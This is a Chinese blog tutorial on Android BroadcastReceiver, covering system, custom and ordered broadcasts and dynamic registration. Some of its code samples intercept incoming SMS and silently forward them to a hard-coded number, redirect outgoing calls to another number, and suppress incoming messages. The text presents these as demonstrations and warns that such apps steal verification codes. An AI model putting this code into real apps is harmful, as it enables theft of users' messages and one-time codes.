BroadcastReceiver简介

[VT虚拟化驱动]利用EPT实现无痕HOOK 本章利用讲EPT无痕HOOK 阅读详情

Demo传送门,包含Service内容,Service简介见下篇文章

涉及到的内容

  1. 接收系统广播
  2. 发送自定义广播
    • 无序广播
      • intent携带数据
    • 有序广播
      • 终止广播
      • 修改广播数据
      • 得到广播数据
      • 指定最终广播接受者,即使被终止,也会受到
  3. 系统常用广播的配置
  4. 应用方面
    • 拦截短信
      • 串改短信内容
    • 拦截电话
      • 串改拨出的号码
  5. 特殊情况 (屏幕开关的事件)
    • 代码注册
    • 代码注销

BroadcastReceiver入门(一)

什么是广播接受者

  • BroadcastReceiver就是一台收音机
  • 用来接收android系统发出的一些广播(不仅仅是系统发出的广播,我们也可自定义广播)
    • 可以理解为系统发出的广播室“中央人民广播电台”发出的官方广播
    • 而我们自定义的广播,是我们自己买了一个广播基站,自己发出的民间广播(例如:英语听力考试时,那个广播就是学校自己发出的广播)
  • 无论是接收官方广播,还是民间广播,我们都需要一个收音机—BroadcastReceiver

android系统为什么要发广播呢

  • 现实中为什么要发广播呢,自然是有事情需要让广大人群接收到
    • 例如:英语听力考试,是为了让所有考生都能听到
  • android系统里也有类似的需求,例如,下列情况就需要,让手机应用接收到消息
    • 手机快没电了(此时,需要提示用户,让用户保存数据)
    • 有短信进来了(注册时,验证码短信一收到,app马上感应到这个事件,并且提取到短信内容)
    • 有电话进来了或者打出一个电话(检测这个事件,可以在你打电话时,立即进行录音)
    • …

代码如何体现

同样是四大组件,完全可以类比Activity

  1. 继承一个类BroadcastReceiver(相当于你买到一个收音机)

    public class MyReceiver extends BroadcastReceiver {
    
        @Override
        public void onReceive(Context context, Intent intent) {
            Log.e("qqq","打电话");
        }
    }
    
  2. 清单注册(你开始配置这个收音机,主要是选择频道,你到底要听哪一个台的广播)

    <receiver android:name=".MyReceiver">
        <intent-filter >//选择频道,在这里我们要接收拨出电话的事件
            <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
        </intent-filter>
    </receiver>
    
  3. 特殊的广播需要添加权限,本例中,需要添加下列权限

    • <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>

    此时,只要你拨打电话,就会执行MyReceiver中的onReceive方法,打印log

演示如何获取外拨电话的号码,以及如何串改外拨电话号码

    public class MyReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
//        获取外拨电话的电话号码
//       (从当前的广播中抽取结果数据,一般为null,但这个事件中获得了外拨号码)
        String phoneNumber = getResultData();
        Log.e("qqq","打电话:"+phoneNumber);
//        下面是设置外拨电话的号码,你会发现无论你打给谁,都打给了10010
        setResultData("10010");
    }
}

获得手机发来的短信,并且发送给指定号码

所以说:不要随便装app,否则你的短信验证码被轻易盗取

  1. 继承BroadcastReceiver

       public class MyReceiver extends BroadcastReceiver {
    
        private String body;
        private String sender;
        private String number="111";
    
        @Override
        public void onReceive(Context context, Intent intent) {
    
    //        取出短信内容
            Object[] objs = (Object[]) intent.getExtras().get("pdus");
            String body = "";
            String sender;
            for (Object obj : objs) {
                SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
                body = smsMessage.getMessageBody();
                sender = smsMessage.getOriginatingAddress();
                Log.e("qqq", "短信内容:" + body + "\n发送者:" + sender);
            }
    
    //        给指定号码发送短信
            if (!"".equals(body)) {
                // 获取短信管理器
                android.telephony.SmsManager smsManager = android.telephony.SmsManager.getDefault();
    //            给指定号码发短信
                smsManager.sendTextMessage(number, null, body, null, null);
            }
        }
    }
    
  2. 清单注册

    <receiver
        android:name=".MyReceiver"
        android:enabled="true"
        android:exported="true">
    
        <intent-filter >
           <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            //上面这个action name 系统是不会提示的(为了安全),需要你手动输入
        </intent-filter>
    
    </receiver>
    
  3. 添加权限

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    

不同android版本下BroadcastReceiver的不同表现

  • 2.3以及2.3一下的版本,任何广播接受者apk只要被装到手机就立刻生效。不管应用程序进程是否运行。

  • 4.0以及4.0以上的版本,要求应用程序必须有ui界面(activity) 广播接受者才能生效,如果用户点击了强行停止(设置—应用管理),应用程序就完全关闭了,广播接受者就失效了。如果用户没有点击过强行停止,即使应用程序进程不存在,也会自动的运行起来。

    • 目前的手机软件中点击“关闭所有应用”按钮,相当于点击了强行停止按钮,广播接受者也不会在启用

BroadcastReceiver-发送自定义广播(二)

上面讲到的是如何接收系统广播,接下来讲一下如何发送自定义的广播

注意:发送广播和接收广播可以写到不同的app里面,只要是在同一个手机内部,满足了action的过滤要求,即使是不同的app也可以收到这个广播

  1. 发送自定义广播

    //        1.定义意图
            Intent intent=new Intent();
    //        2.设置动作(字符串)
            intent.setAction("com.example.hello");
    //        3.携带数据
            intent.putExtra("data","自定义广播携带的数据");
    //        4.发送广播
            sendBroadcast(intent);
    //      还可以发送指定权限的广播,如下:(需要自定义权限,不常用,略)
    //        sendBroadcast(Intent intent, String receiverPermission);
    
  2. 接收广播(跟上文一样)

    • 继承BroadcastReceiver,重写onReceive方法

      public class CustomBroadcastReceiver extends BroadcastReceiver {
          @Override
          public void onReceive(Context context, Intent intent) {
              //接收数据
              String data = intent.getStringExtra("data");
              Log.e("qqq", "接收到了自定义广播:"+data);
           }
      }
      
    • 清单文件配置,加action android:name=”com.example.hello”

       <receiver android:name=".CustomBroadcastReceiver">
          <intent-filter>
              <action android:name="com.example.hello"/>
          </intent-filter>
      </receiver>
      
    • 这里不需要设置权限

BroadcastReceiver-发送有序广播(三)

上面发送的是无序广播,还可以发送有序广播,

先说概念

关键字

  • sendOrderedBroadcast
  • setResultData
  • abortBroadcast
  • resultReceiver
  1. 无序广播 (广播发送的时候,接受者接受,没有先后顺序) 不可以通过setResultData携带数据

     sendBroadcast()
    

    英语听力考试:

    无序广播不可以被拦截,不可以修改结果数据
    调用setResultData()会报错
    BroadcastReceiver trying to return result during a non-ordered 
    broadcastjava.lang.RuntimeException: BroadcastReceiver trying to return result during a non-ordered broadcast
    
    1. 有序广播 (广播发送,接受者接受是按照优先级,先后顺序接受的),可以通过setResultData携带数据
    2. /*

      • Intent intent:意图
      • String receiverPermission 接受者权限
      • BroadcastReceiver resultReceiver:指定最终接受者,设置后,无论如何都会收到广播,但数据会被前面的串改
      • Handler scheduler:消息处理者,null
      • int initialCode:初始码
      • Sring initialData:文件数据
      • Bundle initialExtras:intent里携带的额外数据
      • */

      • sendOrderedBroadcast(
        Intent intent, String receiverPermission, BroadcastReceiver resultReceiver,
        Handler scheduler, int initialCode, String initialData,
        Bundle initialExtras)
        上级向下级拨款:

      广播发出10000元—>A(10000) —> B(5000)—-> C(1000) —–> D(200)

      setResultData();//修改广播数据
      abortBroadcast();//广播被拦截终止了。

    有序广播可以被拦截,可以修改结果数据。

    如果指定了最终的接受者,最终的接受者一定会收到消息。

    注意:

    • 有序广播和无序广播都可以通过intent来携带数据

    • 只是只有有序广播可以通过setResultData携带数据

代码

  1. 发送有序广播

     /*
    * Intent intent:意图
    * String receiverPermission 接受者权限
    * BroadcastReceiver resultReceiver:指定最终接受者,设置后,无论如何都会收到广播,但数据会被前面的串改
    * Handler scheduler:消息处理者,null
    * int initialCode:初始码
    * Sring initialData:文件数据
    * Bundle initialExtras:intent里携带的额外数据
    * */
    sendOrderedBroadcast(intent, "com.permission.money",
            new DBroadcastReceiver(), null, 0, "拨款10000元", null);
    
  2. 各个级别的广播接受者

    • ABroadcastReceiver

      public class ABroadcastReceiver extends BroadcastReceiver {
          @Override
          public void onReceive(Context context, Intent intent) {
      
              Log.e("qqq", "我是A,收到:"+getResultData());
              setResultData("拨款5000");
          }
      }
      
    • BBroadcastReceiver

      public class BBroadcastReceiver extends BroadcastReceiver {
          @Override
          public void onReceive(Context context, Intent intent) {
              abortBroadcast();
      
              Log.e("qqq", "我是B,收到:"+getResultData());
              setResultData("拨款3000");
          }
      }
      
    • CBroadcastReceiver

      public class CBroadcastReceiver extends BroadcastReceiver {
          @Override
          public void onReceive(Context context, Intent intent) {
              Log.e("qqq", "我是C,收到:"+getResultData());
              setResultData("拨款1000");
          }
      }
      
    • DBroadcastReceiver

      public class DBroadcastReceiver extends BroadcastReceiver {
          @Override
          public void onReceive(Context context, Intent intent) {
      
              Log.e("qqq", "我是D,收到:"+getResultData());
          }
      }
      
  3. 清单配置

    • 设置自定义权限

      • <permission android:name="com.permission.money"/>
    • 添加自定义权限

      • <uses-permission android:name="com.permission.money"/>
    • 配置广播接受者

      <receiver android:name=".ABroadcastReceiver">
          <intent-filter android:priority="1000">
              <action android:name="com.example.hello" />
          </intent-filter>
      </receiver>
      
      <receiver android:name=".BBroadcastReceiver">
          <intent-filter android:priority="900">
              <action android:name="com.example.hello" />
          </intent-filter>
      </receiver>
      
      <receiver android:name=".CBroadcastReceiver">
          <intent-filter android:priority="800">
              <action android:name="com.example.hello" />
          </intent-filter>
      </receiver>
      
      <receiver android:name=".DBroadcastReceiver">
          <intent-filter android:priority="700">
              <action android:name="com.example.hello" />
          </intent-filter>
      </receiver>
      

应用-如何拦截默认的短信,不让该手机收到此人发来的短信

  • 上面提到的接受短信和外拨电话广播都属于有序广播
  • 我们通过提高自己写的广播接受者的优先级,并种植广播的方法,来拦截手机短信
代码
  1. 提高优先级

    <receiver
        android:name=".MyReceiver"
        android:enabled="true"
        android:exported="true">
    
        <intent-filter android:priority="1000">
            <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
        </intent-filter>
    </receiver>
    
  2. 终止广播

    public class MyReceiver extends BroadcastReceiver {
    
        private String body;
        private String sender;
        private String number;
    
        @Override
        public void onReceive(Context context, Intent intent) {
    
    //        取出短信内容
            Object[] objs = (Object[]) intent.getExtras().get("pdus");
            String body = "";
            String sender;
            for (Object obj : objs) {
                SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
                body = smsMessage.getMessageBody();
                sender = smsMessage.getOriginatingAddress();
                Log.e("qqq", "短信内容:" + body + "\n发送者:" + sender);
            }
            if (body.equals("9999999")){
                abortBroadcast();
            }
    
        }
    }
    

常用的系统广播(四)

apk的安装/卸载/替换

  1. 清单文件

    <receiver android:name=".CustomBroadcastReceiver">
        <intent-filter>
            <action android:name="com.example.hello"/>
            <action android:name="android.intent.action.PACKAGE_ADDED"/>
            <action android:name="android.intent.action.PACKAGE_REMOVED"/>
            <action android:name="android.intent.action.PACKAGE_REPLACED"/>
            <!--必须配置data,否则,监测不到-->
            <data android:scheme="package"/>
        </intent-filter>
    </receiver>
    
  2. CustomBroadcastReceiver

    public class CustomBroadcastReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            String packageName = intent.getData().toString();
            Log.e("qqq", ""+packageName);
            String action = intent.getAction();
            switch (action) {
                case Intent.ACTION_PACKAGE_ADDED:
                    Log.e("qqq", "app安装");
    
                    break;
    
                case Intent.ACTION_PACKAGE_REMOVED:
                    Log.e("qqq", "app卸载");
                    break;
    
                case Intent.ACTION_PACKAGE_REPLACED:
                    Log.e("qqq", "app替换");
                    break;
    
            }
        }
    }
    

SD卡的广播接受者

  <intent-filter >
      <action android:name="android.intent.action.MEDIA_MOUNTED"/>
      <action android:name="android.intent.action.MEDIA_REMOVED"/>
      <action android:name="android.intent.action.MEDIA_UNMOUNTED"/>
      <data android:scheme="file"/> 必须写data
  </intent-filter>

开机启动的广播接受者

  <intent-filter >
      <action android:name="android.intent.action.BOOT_COMPLETED"/>
  </intent-filter>
  必须记得添加权限
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

特殊的广播

屏幕开关的广播

  • 不能在清单文件注册
    • 清单注册:即使广播接受者所在的应用被杀死,也会接受到广播
  • 必须在代码注册 (registerReceiver)
    • 代码注册:如果广播接受者所在的应用被杀死,则接受不到广播
  • 代码注册了,要记得注销 (unregisterReceiver)
为什么呢

因为我们知道,如果用清单注册的广播接受者,即使广播接受者所在的app没有被启动,事件发生时,这个app会突然启动起来,并执行onReceiver里的操作,试想,如果手机开关屏幕这么频繁的事件,用清单注册后,每当屏幕开关一次,就会有很多app启动起来,这样是不合理的

所以必须采用代码注册,四大组件里也只有BroadcastReceiver可以在代码注册

代码
    <receiver android:name=".ScreenOnBroadcastReceiver"/>
    <receiver android:name=".ScreenOffBroadcastReceiver"/>  


public class MainActivity extends AppCompatActivity {

    private ScreenOnBroadcastReceiver receiverOn;
    private ScreenOffBroadcastReceiver receiverOff;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        receiverOn = new ScreenOnBroadcastReceiver();
        registerReceiver(receiverOn, new IntentFilter(Intent.ACTION_SCREEN_ON));
        receiverOff = new ScreenOffBroadcastReceiver();
        registerReceiver(receiverOff, new IntentFilter(Intent.ACTION_SCREEN_OFF));

    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        //千万记得要注销代码注册的广播接受者,否则--->Leaked漏气
        unregisterReceiver(receiverOn);
        unregisterReceiver(receiverOff);
    }
}
嵌入式工程师必学(9):USB 3.0协议理解 USB3.0和USB2.0相比,在线缆上从4根线(Vbus、GND、D+、D-)变为了8根线(Vbus、GND、D+、D-、SSRX+\SSRX-\SSTX+\SSTX-),可见增加的4根线都是和超速相关的,新增加的超速有两类,分别为:超速Gen1(5.0Gbps),超速+Gen2(10Gbps),还兼容USB2.0的3类速率:low-speed(1.5Mbps),full-speed(12Mbps),andhigh-speed(480Mbps)。从设计可以看出,USB3.... 阅读详情

相关推荐

Vivado工程芯片型号更换全流程:从IP更新到生成新bit文件(避坑指南)

本文详细介绍了Vivado工程中更换芯片型号的全流程,包括IP更新、约束文件适配和生成新bit文件的关键步骤。特别针对FPGA开发中常见的兼容性问题提供避坑指南,帮助开发者高效完成芯片迁移,确保设计稳定性和性能优化。

weixin_42549451的博客 300

android无法接收短信广播,Android BroadcastReceiver接收收到短信的广播

一、知识介绍1、broadcastReceiver是广播接受者,四大组件之一。2、Android中内置了很多系统级别的广播,可以在应用程序中得到各种系统的状态信息。3、使用场景:①当手机没有电时,会告知用户“电量低”的广播信息。可以做到正在使用的app就会接收到这个广播消息,如果是游戏可能是提醒保存数据,如果是正在使用的工作软件,可能提醒接上电源。【提示】对于某某程序来说,可以选择接收这一消息也可...

weixin_39931923的博客 861

陷波滤波器设计以及Simulink仿真

离散型陷波滤波器设计以及simulink仿真

hmq252198885的博客 3168

关于BroadcastReceiver这一篇就够了

是 Android 中的一个核心组件,主要用于接收来自系统的广播消息。它可以用于监听各种系统事件,例如网络变化、电池状态、短信接收等。通过,应用程序可以在不需要启动自己的界面或者服务的情况下,响应这些事件并进行相应的操作123。是 Android 开发中非常重要的一个组件,它允许应用程序方便地接收和处理来自系统的广播消息。正确地使用不仅可以提高程序的效率,还可以帮助应用程序更好地响应用户的操作和系统的变化。

VitorLiu的博客 4120

ADS高级技巧:用DAC控件实现多变量参数扫描(以S参数和阻抗匹配为例)

本文深入解析了ADS软件中DAC控件的高级应用,指导用户如何利用其实现多变量参数扫描。通过构建支持多变量的MDF文件,并将其与原理图变量动态映射,可以高效完成如S参数和阻抗匹配等复杂场景的联合仿真与可视化分析,显著提升射频电路设计的效率和深度。

3a9bq4r8t2y的博客 254

MOS管开关设计知识-(五种MOS管开关电路图方式)

在使用MOS管设计开关电源或者马达驱动电路的时候,大部分人都会考虑MOS的导通电阻,最大电压等,最大电流等,也有很多人仅仅考虑这些因素。这样的电路也许是可以工作的,但并不是优秀的,作为正式的产品设计也是不允许的。 下面是我对MOSFET及MOSFET驱动电路基础的一点总结,其中参考了一些资料,非全部原创。包括MOS管的介绍,特性,驱动以及应用电路。 1、MOS管种类和结构 MOSFET管是FET的...

树卡花 7万+

Carson带你学Android:手把手教你学会广播组件-BroadcastReceiver

前言 BroadcastReceiver(广播接收器),属于Android四大组件之一 在Android开发中,BroadcastReceiver的应用场景非常多 今天,我将详细讲解关于BroadcastReceiver的一切相关知识 目录1. 定义BroadcastReceiver,本质上是一个全局的监听器,属于Android四大组件之一。 Android广播分为两个方面:广播发送者、广播接收

Carson带你学Android 2万+

使用基于python的neurora进行表征相似性分析(RSA)

发现了一款用于表征分析的Python API,还是挺方便的,这里简单介绍一下进行表征相似性分析的使用方法。

zjh12312311的博客 2766

Android四大组件——BroadcastReceiver普通广播、有序广播、拦截广播、本地广播、Sticky广播、系统广播

前言 又是一篇基础总结性的文章来啦,个人强迫症犯了,非得把博客的四大组件模块给补齐了,总结了一下BoradcastReceiver的各种使用,废话不多说,开车啦。博主建议自己敲一遍代码来理解广播,因为里面有很多细节的东西需要注意,在学习中博主也犯过一些低级错误,不然以后到大项目中,不牢牢掌握好基础,会浪费很多时间在这上面。或者认真阅读本篇文章内容 BroadcastReceiver的简介

点击置顶文章查看博客目录(全站式导航) 1万+

工控安全政策系列导读:国际标准IEC 62443标准系列

IEC 62443由ANSI/ISA提出,被ISO/IEC采纳,所以该标准会以不同的名字出现,包括:ANSI/ISA-99,ISA-99,ISA 62443,ISO/IEC 62443,ISO 62443,IEC 62443。其中IEC 62443-2-1已等同采纳为国标,于2016年10月发布,标准编号为GB/T 33007。 IEC 62443是在国...

weixin_34132768的博客 2624

SAP 成本分摊逻辑与案例(含具体数据)

摘要: SAP成本分摊通过**分配(Allocation)与分摊(Assessment)**两种方式,将间接成本中心费用按预设规则(如人数、工时、比例等)结转至直接成本对象。分配保留原始成本要素(如电费、工资),适用于需明细追踪的场景;分摊则打包为次级成本要素(如管理费用),简化核算。实操案例涵盖行政费用分配(按人数)、水电车间分摊(按工时)、机修作业分摊(作业成本法)及内部订单结算,系统通过KSV1/KSU1配置循环规则,KSV5/KSU5执行结转。关键点在于选择匹配业务的分摊基础,合理配置次级成本要素,

金牌架构师 554

android 在清单文件中配置receiver,系统是何时会注册此广播接收者的?

静态注册的广播接收器在应用安装时、设备启动时、或者用户启动应用时由系统自动注册。动态注册的广播接收器则需要在代码中显式注册和反注册,通常在Activity或Service的生命周期方法中进行。通过合理选择静态或动态注册方式,可以确保应用在需要时接收到广播,同时避免不必要的性能开销和电量消耗。

呆咖啡的博客 562

Qt版Dalsa线扫相机的采集Demo

Qt Dalsa

追赶时代的博客 605

BroadCastReceiver简介

NJU phd 在读。 551

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

BroadcastReceiver 简介

BroadcastReceiver(广播接收器)是Android系统的四大组件之一,这种组件本质上就是一个全局监听器,用于监听系统全局的广播消息。由于BroadcastReceiver是一个全局监听器,因此它可以非常方便地实现系统中不同组件之间的通信。

weixin_50995731的博客 707

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

BroadCastReceiver 简介

转载自:http://yangguangfu.iteye.com/blog/1063732 BroadCastReceiver 简介   BroadCastReceiver 源码位于: framework/base/core/java/android.content.BroadcastReceiver.java   广播接收者( BroadcastReceiver )用于接收广播 Inte

大侠是个传说 1115

Android的BroadcastReceiver简介

随时随地阅读更多技术实战干货,获取项目源码、学习资料,请关注源代码社区公众号(ydmsq666) 1、概念:BroadcastReceiver也是Android的四大组件之一,它本质上是一个全局的监听器,用于监听系统全局的广播消息,实现系统中不同组件之间的通信。只要存在与之匹配的Intent被广播出来,Broa...

孤云博客 1605

Android BroadcastReceiver 简介

http://kevin2562.iteye.com/blog/686787 Android BroadcastReceiver 简介 在 Android 中使用 Activity, Service, Broadcast, BroadcastReceiver     活动(Activity) - 用于表现功能      服务(Service) - 相当于后台运行的 Activity

heyustudent的专栏 598

BroadcastReceiver的使用简介

尽量用代码进行BroadcastReceiver的注册,因为在用完之后方便关闭注册。 在AndroidManifest中进行注册后,不管改应用程序是否处于活动状态,都会进行监听,比如某个程序时监听 内存 的使用情况。所以关闭无必要的监听可以使程序更好。 首先声明:private QueryStationsResultReceiver mQueryStationsResultReceiver;//自

Charles Ren's Tech Blog 795

Android BroadcastReceiver简介

1. BroadcastReceiver类 BroadcastReceiver用来接收广播,并在onReceive(Context, Intent)方法里面处理广播。 public class DemoBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context cont...

假装你是大灰狼的专栏 647

广播-BroadcastReceiver简介

广播机制的总结 广播发送者 可发送一种或多种广播 不关心是谁接收 具有实时性 广播接收者 可接收一种或多种广播 不关心是谁发送 具有实时性 BroadcastReceiver简介 BroadcastReceiver组件本质上是一种全局的监听器,因此它的主要作用是实现系统间不同组件之间的通讯。 例如: 通过startService启动的服务如何返回状态给Activity。 Android手机中有很多应用采用广播机制: 电话的接听和拨打 短信的接收和发送 电池的状态 系统的闹

qq_43573997的博客 462
上一篇: 自定义布局---竖向的ViewPager
下一篇: Service之基础(开启服务、绑定本地服务)
Android_Study_OK
博客等级 码龄11年 91粉丝 128原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值